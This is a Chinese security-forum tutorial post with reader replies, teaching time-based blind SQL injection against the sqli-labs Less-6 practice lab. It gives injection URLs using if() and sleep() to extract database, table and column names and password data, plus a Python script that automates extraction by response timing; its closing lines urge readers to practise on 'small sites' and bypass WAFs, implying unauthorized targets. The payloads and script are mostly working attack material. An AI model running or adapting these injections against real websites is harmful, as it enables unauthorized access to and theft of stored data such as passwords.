用户
搜索
回帖奖励 20 魔法币 回复本帖可获得 10 魔法币奖励! 每人限 1 次(中奖概率 80%)
  • TA的每日心情
    奋斗
    昨天 19:17
  • 签到天数: 238 天

    连续签到: 2 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    9

    主题

    255

    帖子

    2089

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2017-3-22

    i春秋签约作者

    发表于 2018-1-9 21:24:21 286488
    0x00 概述
    渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的终篇,介绍盲注中的时间盲注。
    前请回顾:


    0x01 时间盲注原理
    由于有时网站关闭了错误回显或过滤了某些关键字,网页只会返回一种状态,这是就要用时间盲注了。
    先整理几个基本函数:
    if(1,2,3):如果1真,则执行2,否则执行3
    Sleep(x):执行延迟x
    Benchmark(x,1):执行表达式1x(会消耗cpu,慎用!)


    0x02 测试
    Sqli-labs less-6:
    这里尝试时间盲注。

    1.爆数据库名:
    [SQL] 纯文本查看 复制代码
    192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+
    sqliTimeBased00.png

    >115时是4034ms,而>114时是1041ms,所以可以判断>115时执行了sleep,同时说明数据库名第一个字符是s
    同理判断其余字符,最后得出数据库名security


    2. 爆表名:
    [SQL] 纯文本查看 复制代码
    2.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101,1,sleep(3))--+

    >101出现延时,>100不延时,所以为e,同理爆出其余字符得emails,再爆出其余表名。

    3. 爆列名:
    [SQL] 纯文本查看 复制代码
    3.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105,1,sleep(3))--+

    >105出现延时,>104不延时,表明users表第一个列第一个字符为i,同理爆出其余字符得id,同理爆出其余列名username,password

    4. 爆数据:
    [SQL] 纯文本查看 复制代码
    4.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select password from users limit 0,1),1,1))>68,1,sleep(3))--+

    >68出现延时,>67不延时,表明password列第一项数据的第一个字符为D,同理爆出其余字符得Dumb,再爆出其余数据。

    0x03 时间盲注脚本
    只完成爆出数据库名,其余数据根据需要更改即可。
    [Python] 纯文本查看 复制代码
    #coding:utf-8
    #Author:LSA
    #Description:Time based sqli script for sqli-labs less 6
    #Data:20180108
    
    
    import requests
    import time
    import string
    import sys
    
    headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
    
    chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
    
    database = ''
    
    global length
    
    for l in range(1,20):
    	lengthUrl = 'http://192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
    	lengthUrlFormat = lengthUrl.format(l)
    	start_time0 = time.time()
    	rsp0 = requests.get(lengthUrlFormat,headers=headers)
    	if  time.time() - start_time0 > 2.5:
    			print 'database length is ' + str(l)
    			global length
    			length = l
    			break
    	else:
    		pass
    	
    for i in range(1,length+1):
    	
    	for char in chars:
    		charAscii = ord(char)
    		
    		url = 'http://192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
    		urlformat = url.format(i,charAscii)
    	
    		
    		start_time = time.time()
    		
    		rsp = requests.get(urlformat,headers=headers)
    		
    		if  time.time() - start_time > 2.5:
    			database+=char
    			print 'database: ',database
    			break
    		else:
    			pass
    
    print 'database is ' + database

    timeBasedSqli01.png



    0x04 结语
    到此三种sql盲注全部完结,涉及到的知识都很基础,全部看懂的话就可以找一些小站练手了,如果遇到waf/狗就要绕过了,另外,要灵活机变,一条路不通就换个方向,比如sqli-labs less 6不仅可以时间盲注入,报错和布尔都可以,还有上次的布尔盲注less 8也可以用时间盲注,这就是为什么sqlmap有时会同时给出多种注入方案的原因了。



    本帖被以下淘专辑推荐:

    现在很多网站都有waf,sql注入比较痛苦。
    遇到阿里云盾也比较烦躁,请求稍微频繁一些,就不能访问了。
    使用道具 举报 回复
    发表于 2018-1-11 10:33:51
    赵金条 发表于 2018-1-10 16:36
    大佬,我来看你了

    捕捉到两个管理员大神,好开心
    使用道具 举报 回复
    发表于 2018-1-11 10:32:59

    大神大驾光临,有失远迎啊哈哈
    使用道具 举报 回复
    发表于 2018-1-10 21:47:04
    赵金条 发表于 2018-1-10 16:36
    大佬,我来看你了

    凭啥不看我的,扎心了
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复

    回帖奖励 +10 魔法币

    学习一下  ,抓到一只野生比卡丘
    使用道具 举报 回复

    回帖奖励 +10 魔法币

    我勒个去   66666
    使用道具 举报 回复

    回帖奖励 +10 魔法币

    6666666666666666666666
    使用道具 举报 回复

    回帖奖励 +10 魔法币

    看到回帖奖励的来回复下
    使用道具 举报 回复
    发表于 2018-1-9 21:28:24
    今天冷得真刺激......
    使用道具 举报 回复
    发表于 2018-1-9 21:40:59

    回帖奖励 +10 魔法币

    支持一下...
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    发表于 2018-1-10 09:01:39

    回帖奖励 +10 魔法币

    支持 支持
    我不是淘气
    使用道具 举报 回复
    发表于 2018-1-10 09:33:45

    回帖奖励 +10 魔法币

    膜拜
    使用道具 举报 回复
    发表于 2018-1-10 10:24:27

    回帖奖励 +10 魔法币

    学习了,加油了
    使用道具 举报 回复
    膜拜大佬 学习了
    使用道具 举报 回复
    发表于 2018-1-10 16:36:32

    回帖奖励 +10 魔法币

    大佬,我来看你了
    i春秋“培育信息时代的安全感”!
    使用道具 举报 回复

    回帖奖励 +10 魔法币

    感谢分享
    使用道具 举报 回复

    回帖奖励 +10 魔法币

    给大佬端茶
    使用道具 举报 回复
    发表于 2018-1-10 22:12:51

    回帖奖励 +10 魔法币

    收藏一下,感谢分享
    使用道具 举报 回复
    发表于 2018-1-11 09:47:46

    回帖奖励 +10 魔法币

    感谢分享,学习了
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册